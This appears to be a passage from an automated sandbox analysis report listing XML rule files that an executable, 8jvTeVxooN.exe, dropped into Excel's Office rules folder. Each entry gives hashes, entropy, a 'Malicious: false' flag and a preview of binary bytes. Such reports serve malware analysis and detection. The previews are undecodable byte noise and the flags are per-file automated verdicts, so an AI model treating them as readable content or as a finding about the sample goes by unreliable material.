Preview:	<?xml..rL5U.H......Z.0..T.....T....P.4.'.).!W.._.O.I....IW#..Zx...fC..(+=V..V;...A.=..S....A...z./.e.`....Y9..m..g.o...`.>.I.DZ...o...U[..DQ.@$...d..k..b........[...0. Z..&.......X=.0.{.KcWp..0_.L.A.)..YF+e#.h...D.......w....0.....B.+..x......;.z..n;.}TrM.>v.7.Gd.(.q.E0.....-.Ku...+.5.%.....n.e%o...... ..O..r.....(...m..e..~C3c&...F.Lm_n.:........#................Hcy.}>.\|.4......,.P.'cGT.$~llD.D.$T[#X.8.hE.9...b:.`.,.w.....!>R-.e....\|..."XJJ..#d5.;?B^c.I.x.I...-.7q.x.4.../.).._.......8..-\|.>T...]...IN..U.x.7.z..".`m...x"-..NLiZ .}O.x....FV........M.......w$Ag.E.7..&..#%^6..hu..R.K.B.Q...j...\|..."I..k..\|..P...]S...f.Z\...~...U............E.W...P.N.....u..rh.}..5.F.m.i..^...$9J..!.Q..N...0...&..).n.kR.1x-.&..Jh.L..vE....fr....B.....W..........aY..jx.V.I.h...."-.1..7....kg.+.:.m."wN.i.....>..e.}....h...<.V.......]..!.$-.ry/...(m.7...OK_UA.0a.....i.....ck.P4.....ScCF....f. .4(.3{...]Q...kGi.].$.&.FZIO/am..&..?....P'KW9Hk..z..l.r_....-.G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.965397308169112
Encrypted:	false
SSDEEP:	96:CdYMOmg70MUdXcCYy71/Y11iqVKHv8cklnJkRESze49NUonFpD:CdYMDdX1YyhHmJdOx9GoFd
MD5:	2E51DD46EDCC255F439693D115866FBB
SHA1:	24A0CE661574B24092B1710E2879A0985D00B6C1
SHA-256:	19DBF8763B8FF0A1B0EEBC87A51CF410CDEE8796ADD37D52C77F274A63293009
SHA-512:	BE75327730B7A4F558639F0F4D844BFD4F4CE61DB4121F5A158B012FDC0B5FF61ABAA8AE99A028D35104374994D29D6AC297631FFED8DA7D23506E6D8B9C978B
Malicious:	false
Preview:	<?xml%..u..L.V?...x.W.SD.....8<G........zQv.O.`.u.&.nu..\.......V......<......!.}..p..F.GU.....)2-{.0#.!...o.n....w C..D....tj X.A.Zl.Q1.....b.:..q~./...T..dR...:...NOp.<......e......-.u.o.......o.../...Z.KU.8).+...B...b..XV.8.2=cx...R.....R.[....o.x.#......y.8..n.....#..V..35G..;..Dd..w....j...e.........l.JDV...Z@..)5.Ds.-..K.@.........F.8i.c.>X...l{N...s..h...^p.$-U...V.J.D...M.R........5..7..BO&Ie..rz.PlZAJp..J..V...v....Ziw.Vq\./..j.~.....OP...'20.P...V.0...J<...@..%a.g.X>...~r.,nQ\|.f............3.f2...>..l'2Gci7.E.w.Go....DpJ....=.......I......5dd3...(..OZ...._...\|..n.....j..$.P.....n...Z.."CAy..[.ke.n...'....^...G..g......F.w...`.M$..M....L.8F.I.bU...P.....l...'.m./Y(N...h..'.QuX..w.0C...@....8..T+..0..1km...<.1...R.NC.....s....S.K...(2..;%.g.C...u.g<.......L.<@..R8.?....5@.Z"..BS.e.2..-s...=&...M...uPm.D.u..7..c&....N.-dt.oU...Xi...fZ<....gk..Y.~Dz.....{...N......W...>....".MqY...+$..*.X....:&6...}....C.0..f...y0K..:...H....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.903403014552404
Encrypted:	false
SSDEEP:	48:/VEp6u3HIB2/YramEetd0fvPNAESBfx5EdsL6zuvXD+Vt1ez8li9D:G0q22Arugd6PaP0+L6MX2t1Y8liF
MD5:	0D6FEE1A6DEBEA9CE563D1DE1D5147D8
SHA1:	47881BB83CAEA4EC5FD8AB5E785051E09CE1FEC6
SHA-256:	9F2EBA799FED02AE8DAFA8B185E6B8AC60E99AF191E4D95C059728AB7B2EF54E
SHA-512:	B2F8B3C580EC9F3DCD57EA5845057ABBC78D3AC2A767CBE4136011F1967375D62EB835A00E6CEBA68034583FEDBBD3D632B628889E78BCB8187766F86E8ECB7D
Malicious:	false
Preview:	<?xml..q..`.r...<.....f...o.1>&.Q.GI..f$N......>.%..g.f.f..~{.....-...\....H>..I.R...B...[...=.....x....6......fF.e6{..-.._.I.%...}].....I. .._.\........i.{+}#...s...nmV...F........92I.y;..3...6^..$....A.1xf.\....fU..L......H.hw...j......A.b._.2....N.ch.....+......L.Y.<...2.h......'..74^......Nd\|B.v...N.........c....................L..p......c...T.....T.:../93...\....@..=D.r..?.[1n...+..5..w..,.E...&.X.,bx.;...].K.k..SF..T.]..)..?<.6[..2......,.l.\|.w.+..S..2...V..c...'`j.Ny.G....+.F..K..J..........F....3p.&ufgf2..@vt!..<.....x...b..5`.a..z..A>M...U.S..^..S....J.....0.pg.L..;=\.Q.....v1..X[...].........)u../#....W..v+..;.+.:..P...m5.b....F..K../....FSY....T....2..e..."q.g%.Nk..C..e..g;..6.& .!..c.....f4W9JG.0?..6]W.D3....y.<...&..o@.cD..s.1}HI..1.f.4...*[...p..b.....)=.V....E.<C'...E}#0....7C.......9.L.d..=q. N@66.-.)..7.L__..Jwp529x..B#..z.........$z'....m2.Um.........M..a..(gb...I....s..mM.t..Ze.:HZ0..N.@.....e.."....."....E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.765894559153644
Encrypted:	false
SSDEEP:	24:2nQieAQsRcO6hxdf2uIF+F4YLL1nSNIscgsoYCKObD:2QieANcdYubFsISztD
MD5:	2D1C92AADB4B5AC6D54F65F81426E717
SHA1:	E359011392C0F2E9C961FF00273B780E1844ACC5
SHA-256:	C8A5F5BFD4AF31025CB7721A93FBAE4C3B909FCCCCF4DD354B6E5C1CBB453BCE
SHA-512:	256944E88D692B7EED21919CF5FC0D2E2DAA009B78B0719F8B54BD3A2B8A71ECDC204059E70389E85FF561443625C03D83A2C557C10EE5944462DAE39EAC9623
Malicious:	false
Preview:	<?xml.Tp.,...:6vM.....xB...0;D..[K...+.\|..Z...pp.,..1..l..sZ.T..x..&.-P..<...'u@yQ..~.,@..n.V~. ....c...b....j.G..i.kN......C.%f.Y,R.r.:b...(e..."...6...E...>....eke..U'...T.V+7....u.=0.....^}.S.!=z........z..f.'W{.R......Z{....N..Z..sxJ..FP@D...)..B(B....4.}....zE.fA.afK...u.O.4<.$.d9.&0.y..0j.=P./...B5R.....^d..1..\4..x.........2TgJ...g,.RDx+..B....{...7._.).6!i.P....$...JC.L"...s<.G....`g..x.X.%N.N.....e.H.z.zK{2`-..1.'....l.....q8]...Qw..$.e4...S..%.../.J..6.^.?<...(b.......8.j.....N...P..-k.....XY.\z.\0?....C~.q\|7..;>...4XCU..O.5X.......e.x."".......P..._.0...0......].r..Z..$$..%>.......k./Jd. .....SON.W....m..Q..\|R./..M..._....C.x..~.*%v..v..F.i.vx.[..r...H^......R.C......(.....:.4q'w!.'....N.q.G...N....(..!..W...G.L.S/8.j..t.{B...eZ.p...C......SX.sG.W8.....m..o..7.c.5.....ZS...+mF.S.d........Q.Z..r.,s,....L..Y...q..-x#.t0@.E.b.(T....).B..YK.Bpok5Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.921898579294032
Encrypted:	false
SSDEEP:	48:7MC0qVhrkMFeDt7zKOJ3awKKQOSQ7EMKKMfGERxuol3tne2D82qOnTfD:Z0qVNkMkhiOJ6Q7iHfGWxuol1d427L
MD5:	910DA519B2CDAB9546EE01823440BA0B
SHA1:	9A2915888F973F0A78660FD2DAE9D139BFC27D1A
SHA-256:	C2BC324FAB4FA41550DBDA48C116521953B1B53A29BEDCF170A10276B9CB077F
SHA-512:	202C67BD09C18961A2939EEB8E5174C2145B7F209A2E61FC938A5B41A8BA78B01BE36A03142B94840ED1096D3D8DDA1B406DFB74BE265A45F022E026E90683CB
Malicious:	false
Preview:	<?xml0P..eZh..bb.."..[.8.eBQ..F.H..6....g.:6-M...Z...p.3... i....V.....g...y..FIS.H...hy.........Y......;.....0....$..7W..N]x..6.x.G.%......G.(u.o..=...g..[.....~....v......7..V..jO%.......r..)}I..$...y:..ae,K...f..]........p..t.q.b...+....C.z..+..6e......0.......0.X_..VqY..V.2.~..9@.5.......n...HX3:..Z.~..H....Ka.d.V......&).Fz..Xg....F..:...."'..L..\.i}....G%.(.Vs.$....}...........=.N.bv.].z...SL..z...Xo....Sj..&@r......a=..$.g.5.Z............fH!.Mw...v.\|."h........rGG..L..X..H.\|...h.=.Zm..HG.O0.....uE<.4.u...a.y..+K....qk.....o....(.y..=.......lUb..Wr..u..7.-.sC........o.[.s..X.0. '+..R.g..j5.....&...HUv-.V.p...0.]...U... ..$..l....B..........._.J.=~...i....p..'@.$z..g.L.5@.(.-F.-B..'~#..'....HyDl0w..%......]+....o@\e..o........I..f...Y#.*...B......f.<.........Wh..8......`1.....C.. t....W........$..!.....\.Q....R)......>.>~...l0.>.B..-.;...th..zKr..M......_((....5v.;H.Q....o&.X.^.I.....A.{E.....if.......mS...#,E..gI....f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.983761771074563
Encrypted:	false
SSDEEP:	192:aGiI7uI9LiJpj/duIOUz8bGCgjsrdGZjx+HYw65MzrkncO5NyLK8SEYeIQ:axI719LepUSSGCi6dqaAUGcvW8ZB
MD5:	A1B2A20D84D89F29D2CBF758A6F7CB08
SHA1:	CD2F09746657FC6D101E29139F74B1C90EADA92C
SHA-256:	50E239E1FD74AD2088AEBE6CDFA22D4FB1C9F07EE0DAB17A6DFA8A1F1A8A773F
SHA-512:	081769890A22E483967566569BC94D9FE52E7752EA46B361BB69CF5FE82EDE5459C8F14E6BC2E09B57380082398E4F7CDE7AF5476ACB3D34A0621266EDD1E193
Malicious:	false
Preview:	<?xml.....!....O'...q.36....l...s.#..)......d......ir.6....p..*~.s.V$Wk<.........,..'..`pw..#......,K..:.}.+=....V.K.EZ..B.....r.K...x...p.,JY9X;..z......,......wz...vh.S-.....7.(A6......"'S}..Y...X.r.+.;^......D.uQ.....z.l.B...7......]..b.j..2.6.Zcl...w.A.fp...i.U.7.0....u.T.&.i.D8.... .O..B.r....4.<{...m.e.m._Dr{.\.A....J2.L..o\|..+&...^....B1"M.>>../o.hS..0..'..X8....@%.Z..P...B.O..J.....F.k...<h.[..v.a....jU.X.:QJz...,!a.......N...Z`E~._(@G[..y.q.HW...u....KDW"......Q..i.....`.....o.w.1.....U.q.(...v........c.....\.......^.Od...=...vg.t.....jl6..V.K....a.....h.q.\|.1NVI..Z...[@]....,.X..K$6.....1..xp.3..C. .RO....V..E..m...xl.e..q....?..._.d.:.4...I.GCg;,Ez.....n...rz.b.H....!.......x....v._p.;...[...@..0..Wb..=.{Zvsa(@...NN?).W..:\|;.#.....#=..>.}. }\O.30...$_..f.tC.jB.......Bd.....C.....i.0G.//. M:.)k..K.....l.Rv:b...M...Z..<...i....a.:....).%.XQ....d...!.+v=......B..>.yC..N$.ft..K:R.}.'.ms.....~....1W#.(=.a.1A..j^......T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.710064337062273
Encrypted:	false
SSDEEP:	24:2F3eP5AruKWtMix0ufef6by/N7fiJAObD:XxDPvxbg76zD
MD5:	E232CFE716C83F6CC3EDBE7A03D47D5D
SHA1:	A9F7E7DF15502EDB3D3AAFB9E5CA2C765793F163
SHA-256:	C634B1EF79F1626916D934DA39FFFEECFF1B7F61DA6D836E8459E06D93F75379
SHA-512:	9D26D67D63A8108DC3776003CD93E47711D014D96E7CB315726B139C3E7D2D4938D39F8071E1E0BED8295B7FFFDC15ABE0515241697C92416EBD39ABE53BF478
Malicious:	false
Preview:	<?xml.)3..._..l.a,S[.).H.f......S.3..%..~;}.rI....Kz.W.A[..Z..Z..E.@Y(.....`.h..JL...R....$.b[.ts.K.!#.>Wx..l.3=.?...sW.T.Sx.&.D_? w%.x,;._....).Z.N.a7.i...V..5}dk..(.g....=.#./....X..1..?P..M;.........:...Z....s.((.0:#j9.P..R`.m......../..W~.........;s.e@...qa..W6xub...?.tX...A...l.`%....@t..4W.r.....r...e....Y(...I...X...]2[..52j...,...=........W\.r\..YV.B..?j..!. P...=....`.2\.g................\.....6.A.8.+....C.%...=...m\|.p....w... ...1....z.W)..w[.....M..4?s...a......u.>..~/J.#........);3D...J?..7W.....5/>&.+B?s.....'...Ng..\|~6.T.F.("...Q67...:...G.u.....d!"c.......N.......+.QU......)b1..:.}.fi".4`.>.6H$.e.s.<..o"l.p[=#.-...C.@[.d...D.K.S_.t..#-Kyryu._2%m...Pk.. ..:7Hm....l......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.6322562424461475
Encrypted:	false
SSDEEP:	12:USrU9+31QRlFldxt+S/1kfeuQK8yhi3bZAiMrZ2c9eO0+6zgQbuOcii9a:hg9+l8l1xgQxtbMd8bTgQKObD
MD5:	F044ADF41712BC8B50FAAD82FA28B217
SHA1:	3DDEEB6731E9AA0FF4284121A475DA4E20ACCA92
SHA-256:	CFB8CA3A2B20FC52AF46C7DE6E6E7BDCBAE7DC14E88D336F9F5BEC183745F102
SHA-512:	F75660703D7D5FA43C71B45C60BCF38608BC70C8F01C41779BDF4B9DBCFC1D52D35A4FC25C38016F1274E92D0EC41995F1F7FA8D324C34A533B8CBC6C30EB20F
Malicious:	false
Preview:	<?xml@.p.y..Yd...G.&...7L../...M...................#.8L.....L......-ZO..h.d.2.3..[hf.B.-v.AE..s....Q.2MbEf.H....tY..^e..f.m.Zy.xb.\.O3O.. .OP..3..\..W............e...K.f..E. ....mUS.W6._...,m..[...p.a6.=.S.Mu.q..+......w.{V......s..X<R..K...g.....Kh.f...I.#.#...- .m.t....@Al.X.P.Bo.......h0.&<r[.x..3.\|h.u>n...F.....T...x}...I2.\\|.._..7.......p'....^.p.KZw.x...... ..qf.....'.0.umr....#..i8=...W3h...,+r..O..1....@..(.h.x.W......../..2....K..>.i..<.g...?Km....d....A.dw..1.1..kG6.B.l$\|..[D.{/\.9....o..*.T.....4..O.......Kri.:^.? &..#\|......GexO.6.R.Bv.S.......@5{d'..A.U<.g...7.}F..u\|L.~C..F........B....E...{?,1..O&..0..@k..i....Z.d.s.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.885135040655206
Encrypted:	false
SSDEEP:	48:z8eV3oI9wfSTJjRusf8Z4E3uUhVfa4HYv3UpBixQD:z8+b9waJjRuyWuofJHXpBixM
MD5:	F03D064FF59CE750640D0BD1906EDAC5
SHA1:	916AEE47DA93D5886D4B9FC209A340960548302B
SHA-256:	CF6FC7E7E71412AFDEC758137EC13E36EBC9F50097519DDE9F99B4598A0FBC7C
SHA-512:	9D54DB974102BF5AB615EEFA063D7BC71E6FD6E1C9AD50AAE084F3BF4F1632C4135B92E7329D2846C35969DF06A55A178FE53CEC8B553ACC9F4B9ED63B7936A5
Malicious:	false
Preview:	<?xmlb\N`c.V.:..br.P}..oL....$.....h%b.......7.....\..>..._.6./.....5c7......O@...2.....%.vL_s.}ip..3..+/.....{~.P...'s>...O.F...N.:5.m=.(.C..$.Ht>..<B.=6..>..x\r9{...}...>....w...m$7`.............j.........0Q.3..7G.....\|.o....4....4..a.-6K.....%`;.^u..t...+....`@..\|...uf............(.5.T..<..U...u.%m..@....lyfp\|..o..p..V.....Dq..8..9.EvsL......Lx.[j...P..M.o3'.Gk.rvU5O....T....RW..XK.....V.#U5.u.....YT........C....r....u..y..............9..p.....<=<...1.....P....~=`.s......G.US..d...cx.fj.7...B..wv.]]ym.....e.......l...2V...O...[.;.......\.,b.(.....D.y{....D.(..T .Fm..r.w.....j.X..F.....@...0.@....7v.......Bj..k%..Oq.d..sp.[ud..VH.\K.:.,.t..4=\@..........d3.b.<k*.hE..Vl....."..rn.=...;'..bm.wSQ....(}..u..P..F'.^.. 6[t7W.f.:..H.i...%..=...8..f..nv.<x..y..o..cd.....rt..u.h9.\|lA.]E..#r.U......7.+.X..fH..e..\$n.....s.8}su...+...x2.].s.B..l..NV.....d......ja'..^...PzD....j.....Px.v.nf.9....?.....b.R.......4...9../}J...Gw...&;.7../..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.766669338891888
Encrypted:	false
SSDEEP:	24:ZHzYPMiNolxxy1xPdHketMpnCURZ03/0C1ZaObD:aMMEExF3twC3/0k9D
MD5:	D1DAB925B86FEF8561073942231D2345
SHA1:	C3C6A5620D1FC82E047EEBCCF4440A98BB2B945E
SHA-256:	C2A41B088E7B72B0C3078EB3340FBA580E987346EF3D23E2D351C1FD0DD1ABE3
SHA-512:	2DF364B727D96765C11DC46A1AF80EE52C15794264FB4CB9F59BFA5B1F2224CAB4A52515D6FAFA69B994FC2F65586F50BF7ADCAF2C647CCF406D156C9C28A1BC
Malicious:	false
Preview:	<?xml.E.l\|...X....:......lW,XkW...H.q.xM......(pb$._..o..c....\j-.7..h.....h..1.k..........QU...~}....4............'Z.7:....L?....>.I.x..U.n..6........r..iE+h.^...#D......=.y..c.{...A.6....g.T.......<.&.M..=h.@..f..5........d..'....6.nE.../.@.y.l)...oEX.........`..)A.....w..........y4.J....w=.'S.mj...C.H.KX......_?...l......q:...@...),..y...D(&.F.u...b.V.......'y..1.)(..h....X4Q8..${..N.....?cXP.z..4.9.0........M....2,:...!....._.....].......8F.Y....zs..Z.)...{...z.c-:..<<o.`.w....x..s..>.G.,.N.M_r..T.UH.A.....V.[.=....)....?,...ef........X..,s.b.F.}...4l...d.]....1..4.`pcL.#...m..C.F.T...v.P...\|..r(...Gi...{S.".U/D..\|F.ip..!...Q*......1.........$Lq.P.....NT.I.9o..P..v[.. g...F.yO..$.L.......o$;.t...ib..U..Y....fp@..V....tv]..D........wp.=g..t.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.856676982153981
Encrypted:	false
SSDEEP:	24:Ejp3jXiRk++L8bRWBSKVE6ExLK1+dnaV9dyMS/dHIvGaRupvGqObD:EjxjXdL8bABSKVRExlaV/YHgZ4psD
MD5:	5C85CA5FB18FA7A3A0BBC6CC9B8A23C8
SHA1:	FF7293149AEB7BB37FF713CA8E52808DB1491482
SHA-256:	08F8808892BAE164CEA3A15CB8C28EE0B6A46C3DA81485DC2A7B08931B895D7C
SHA-512:	518C0AB506D581D299C638CDB3768CCF3766A7D5479B184A8C02109B61539B914D65701B7D159C37E3575D49BBE77C5F86BDF95EB0AD917E232B4CCA763059D3
Malicious:	false
Preview:	<?xml............L..<.$.!..<..\o..D.....p....q..{.......}.@...#olp..."...PE...Yvfh....-.......Ec.TS..p./..hR.ty.....ebU.......B....QJ.aq..C.f...\|:.k..y.....r..xMxX.5!...Fs..e. ....t....e..s...jIN..E.^nbN..o.E.GS(hw....o.(^....h..o....zdNh.e.......B.vi.W...}3=..x..r.Bw.E.x.m).hl..f.xv}K..qu...0..b..8~....J.L...S..TL..A>kF......T.i...u...ySH..c[..0..j./.3.v...y.....).M.$...g.g..F.0.GL..t3(^.c.w.ZD...km...Ze?R..<..(..Tx.b..#:dI...jS.,.j.r..`.RX`.....M-.f.K`z..^7X........a`[`....HJ&.).....g..Af..e7..5`...a..I..d......Y.%.K4Q.+!.~Y......u&s..JL........)x...x.m5..C...9$.d...g.S^4..!..-+...../.......lQ......U..J..D<pY..$EkcRN......P..l<SEX19..2\......I..tV...\.v....n.Zb.p..1....7..WT.........#>flUe...q.........(....V....vA....T.b.=X....H...#..2...o/..6.....c...1.C.'..g,.i.Q,>..-.....].".....6.....k..i-.D.g....?.%...m.Z.\.wf...(:d.6M.....\... ..n.z.B........Q....TH.o. .U.Y7...P..1B...i.._...h.6\....h...*...U.(....2..f....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8619589866347
Encrypted:	false
SSDEEP:	24:AkCLEjhERbVGw/Y2028lXszSd4sq6KySW9rEhpysnjXpEObD:nCIjh4pY92mXLa6Ky99rkssnTpnD
MD5:	E9CEE38FC5228AE85BEB862E1C7E63F4
SHA1:	A65D390C727AF26A961562DF164E63291A804F56
SHA-256:	0690396326DD10CC9B8BBE9EBE668CED8CA8847C4C8D0BA66D901A97674E88AA
SHA-512:	2B3DD0FC1FD17B448126310313DA0D8350E9485E95924656C00BFE87F6ED531021AAE7C9D428A651EED6F7B3E1BD5874B173E3F956F8A0178F2AB87A8AA0E506
Malicious:	false
Preview:	<?xml..P..Q......D..n.k.....+3.d........g!...e.....KwK...9.k.Iq......>e.+...b/...V...'.U.<)..X.Kb7...a.'F..y...<U_..p..Et..3...M.ut.V<.8...~..C.....F-..-s.M...0#....N......Jm..4.' .b{-.....r..F.]r.Y....O.(=8...:.$...inY)2.._..g.....s.A..i...DG.AW!H...p...m.oI../0.1O#...^...HQ.g..5.......;tzR~.F4.aT,./..2..?a..v...`....ES..E..\@..r!/.+...\........N.V......].q......z..:...).(.%{H....4O$..Ax..Z..h...-.X.O;..z`... K. .k..9...4.{{.2..9..H...t......%.#2..`-.+..4.5....&.'...r.u.X...D@.........^u..n.i....}_s...V.nQ.....PL.\.=\|=N.:....j....h\.<?..r..P..8..)IU.:&a...~...}.F...$..\n..0.~...{...$...1c}=.q.(..F..x....G.......0....Q.@Q}J#@..z)..&.k.......9.+.......6.%....jlW'.C...D....Q...d.\|#%..Q..P.x...y............9......Q..:.BC..qi.....L.u-....8.`.S.{....n.C....Q._...Z.:'........./....25....j.{..VPJ(.pd.?.>..[G}.d@^f...0...r..W......3....h....2.d.....P=B.2B...s..-...._La.#h;\|>Q.j..0'G.q..y...4...j..O..\k.#....H....2"EB.`.u.Z.s{..f.(.kK . .%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.973525225864782
Encrypted:	false
SSDEEP:	192:pSXQWKey3L5rV3fixOqfhzp2z78v8FbvpAMnr:pSgWK3LzFqfNU7HTpv
MD5:	9B71111EDE799132C05092327A0AE729
SHA1:	E79D676C0D8832CDCBE52E7CB952BE546A2003F1
SHA-256:	4BE9898B4DEA4D9B99EF2B05B9871E7BDA5C297D02D34BB13EE0CFBDC6E07733
SHA-512:	2C715C0200A532777768FB0F84197E678AEC1F61FA28DE12D7496C0E50BDEC30C6148E5009B89C86003CED4E7AA18D15577817B63B1C6146B3AAB03D6E956717
Malicious:	false
Preview:	<?xml..Q\|./g.......ygDk.....D.>...(.'...1.T d..$...".IT.......4....^.....j..-`.h.......8.....,....?<..s....Y[N.t....w.5_..E..RA..a..3.M.P....L;....M.g...<.;...$.9.=...i.u.)-.@...g,..t.<..6^....u$[).G..E)..Sr.:.I.,.^:.9......\.O..7m.m..5.@...U........V....#p....{S.b........Z..z..M.T~...k@j`....F.W.\|..jE.!.q.]..5h..D..!.R.3U1~...'.eK+..y..9...b.[i..{....5.A<O...\G7....c.......a-Ti.5:..h...;)..d...G..&1......p_...9H!D.C.....n.5..0........k.=..O.De..0.".]D.D<Y.b.j7.?.Dgb.[.`<w$5..g...']..u....b.-0Y.W.S./...! p.-..%.(.6...[....\|b.~..Q.;...2JT......O..o.9W.tS.UZ.....@..7.r`....y..]0..........Y,=,...i..z.).$.......P-A...F.I..,0.u....5.6.$..F.....9...%....1..`q`..I.K. '.@..w..T~.u..M.7.l$".);..Z.}+/\...R..ga.fwCkRZ....4&h@H....../Q.9Y..`..\..9>G....2.Zn..u..h....B.^5....m\|....q.C..0......g.G0..a....`...;.a...i.$)t......,+./...b...k.E.>j.....?..[........#.#3M....I..".*...qly......G[.l^.t#_.:[....3..I...X..N......"@=@Y.}6.(..A?....'Xs..{..!.g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.705652127325843
Encrypted:	false
SSDEEP:	12:k8vcFMxmD0RBH4hBFjrdxycvnLVwQMm33yT3vO0m5pyPUMTuOcii9a:9acWgBH4NjrdM0nR3yq3AiObD
MD5:	CF1FE2102A6069D0B835BEEA8CEF34EA
SHA1:	258B60BCB88636D0C9367A714141316FCCAB7029
SHA-256:	583DF1963BC790961B2F8F69B5D0F138FFE0DB02F8EBA40FC5EB72096408C138
SHA-512:	FEEA93658067424B144AAB7FDBE078BE04AA1D7A87BB2485DCD8B3BBE317E755DABB1B01DEEEC64760E81DCFD73F29CA662428E7826792A4AFA6F3DA666A191A
Malicious:	false
Preview:	<?xmlY..L..D..?.2..........y.\|\|....H..v..YR.F.@.....?b.g.R...2......!.@....f$U{X.O...HNl..0.;.f..[E..CEhT5...)>.x>."+]-..,I.!J}..T~.....\|e.....)..B1.<.?Kf.'yU..9"..W..@?.l.`..)37..!....[.3....%&.'.aG..E....@N.a.O"......A%.q.H.v\........k..s.. ./..L`..D.@..~..7#...V?.#..=6._..._.F.<...f...F~x.NT....?..B......n:_..Ym.~?.................m...0.8./$....<l...".!.`._..dX..MW.l.Z..4...nH......,Q.U........g.4w.X..K.}....../(j{j...\ME`.\.i7....i.v...sP.@.hG0@d......Q!....X.....@.X.....a\.{3...}T.h.............v..T..0!...;9...UzI"..E..1.':.$.Zjwl..Sj.....<l..uTg.. ..w.y.....Q).i8r....4c.Z..I/.9X.Y..R..Y..E...0.......+.....W1..U....M.._2B."Tl4.T....p1Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.836680666347745
Encrypted:	false
SSDEEP:	24:/2DxB7sZoE01dBDRwuV3QUTZW7gFALmCflNAfVCYR0NPcy/P5crytgUW2CpXwSnu:cxqMdBiu5QhOALm8AfVCOy35NtgUW2EA
MD5:	18B553738B78B72AB1EEB23EEEC3733E
SHA1:	7CCAC8A8AE43D9C4E1410B279F267DC96250F62F
SHA-256:	B72F6D1EBF9C0541C010D10BC0CC8AC7FAF2B131EA3F6F25AA52CEE623E68FDD
SHA-512:	694725A2378557C9C733237A24495E7165339C93456A41C0A154E90D7FB5121C6DA30951B39491BE0AE79845F61E039A4466673757CB5747F1B0620E2E5BF753
Malicious:	false
Preview:	<?xml'.+..\|...U!...W@.eK.{...W.{..5..-..4....#..i.....h~.uX..]...{.......#N)Mi.c=.2..A_.9..8 .E?=..@(..).........Y.......'n57Fog.0..9.....OUx0... j.D.f..<5F..:.T.MV..b..".....=v2.....:.uW?..z.Z...D..c..9\|2FGT[..,.\|>..W.Hpp....8...o..h.@.WK.....[~.J..........F...<.@.M...f.....h....<t....{....Uv.gc......[j3,s.:.."Y..c....>..v.0..z(Xd7.G.`C.;..A....G.j....jW..9;5`...:]2/..5..8.G...........t..k..!]........e.!1..7.z.\u...HW.....>...v.-lP.wwt.ygF....}.........^YU...P..bAb....M3..x../L.#..U..rS..B5.\.DH..r..J...`......6. E..W..W.. .-............YSs..S".t..5aCS#.D.O..[..;.l~.c...!..vZ)..E...F ...-v.P. 